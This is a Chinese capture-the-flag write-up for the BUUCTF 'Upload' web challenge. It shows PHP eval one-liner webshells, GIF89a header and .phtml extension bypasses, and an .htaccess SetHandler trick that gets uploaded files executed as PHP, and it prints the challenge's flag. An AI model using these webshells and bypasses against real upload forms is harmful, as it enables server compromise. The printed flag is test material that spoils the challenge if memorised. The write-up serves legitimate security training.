BUUCTF-WEB-Upload[详细wp]
關(guān)于文件上傳的題目
首先上傳一句話.php文件,結(jié)果顯示not image
<?php @eval($_REQUEST['password']);?>猜測當(dāng)我們上傳文件的時候,被標(biāo)識的文件類型被過濾,即嘗試MiMe繞過
MiMe是什么:MIME由一串簡單的字符串組成,初期標(biāo)識了郵件e-mail的附件的類型,后來在html文件中可以使用content-type屬性表示,描述了這個文件類型的。
MiMe常見的格式
| audio/webm | webm音頻文件格式 |
| audio/ogg | ogg多媒體文件格式的音頻文件 |
| audio/mpeg | mpeg多媒體文件格式的音頻文件 |
| image/gif | gif圖片 |
| image/jpeg | jpeg圖片 |
| image/png | png圖片 |
| image/svg+xml | svg矢量圖片 |
| application/json | json格式 |
開啟burpsuite,抓取數(shù)據(jù)表
點擊repeater,修改Content-Type后的內(nèi)容(這里是改為image/png)?
重放后發(fā)現(xiàn)被檢測出php后綴,更改后綴
嘗試了很多種,php2,php3,Php統(tǒng)統(tǒng)被過濾,這里使用雙寫繞過
結(jié)果直接過濾文件內(nèi)一句話的<
嘗試?yán)梦募^檢查繞過
文件頭、文件頭檢測是什么?文件頭就是描述一個文件的一些重要的屬性,它告訴了打開并運行該文件的程序這個文件的文件類型是什么,文件頭檢測是指當(dāng)瀏覽器上傳到服務(wù)器的時候,白名單會進行的文件頭檢測,符合的話允許上傳,否則不允許上傳。
一句話變?yōu)?#xff1a;
GIF89a <?php @eval($_REQUEST['password']);?>?
依舊沒有繞過。。。
無法更改<,就換一種方式提交一句話
使用phtml后綴的文件繞過,并且更改一句話木馬
什么是phtml?在嵌入了php腳本的html中,使用 phtml作為后綴名,web服務(wù)器會用php解釋器進行解析
Gif89a <script language='php'>@eval($_POST['ganyu']);</script>上傳成功,使用蟻劍連接,猜測文件地址為/upload/1.phtml,密碼是ganyu
flag:flag{d2f7fa2a-507f-498c-8af9-52219201fffd}
方法二
使用.htaccess方法
全稱Hypertext Access(超文本入口),通過.htaccess文件,可以幫我們實現(xiàn)用戶重定向、自定義錯誤頁面、更改擴展名、以及使用其他文件作為index文件等等,如果一個web應(yīng)用允許上傳.htaccess文件,那就意味著,攻擊者可以利用這個漏洞進行更改Apache的配置
編寫一個.htaccess文件
<FilesMatch "ganyu"> SetHandler application/x-httpd-php//將后面的文件全部解析成php執(zhí)行 </FilesMatch>上傳.htaccess文件 ?
上傳完之后,再回上傳主頁面,再上傳一個沒有后綴并且文件名為ganyu的文件,注意:上傳的文件名取決于你上傳的htaccess內(nèi)寫的內(nèi)容。這里上傳后要,再將后綴改為.phtml
連接成功,得到flag
總結(jié)
以上是生活随笔為你收集整理的BUUCTF-WEB-Upload[详细wp]的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 小程序canvas生成海报 字体在背景图
- 下一篇: 由 method may be stat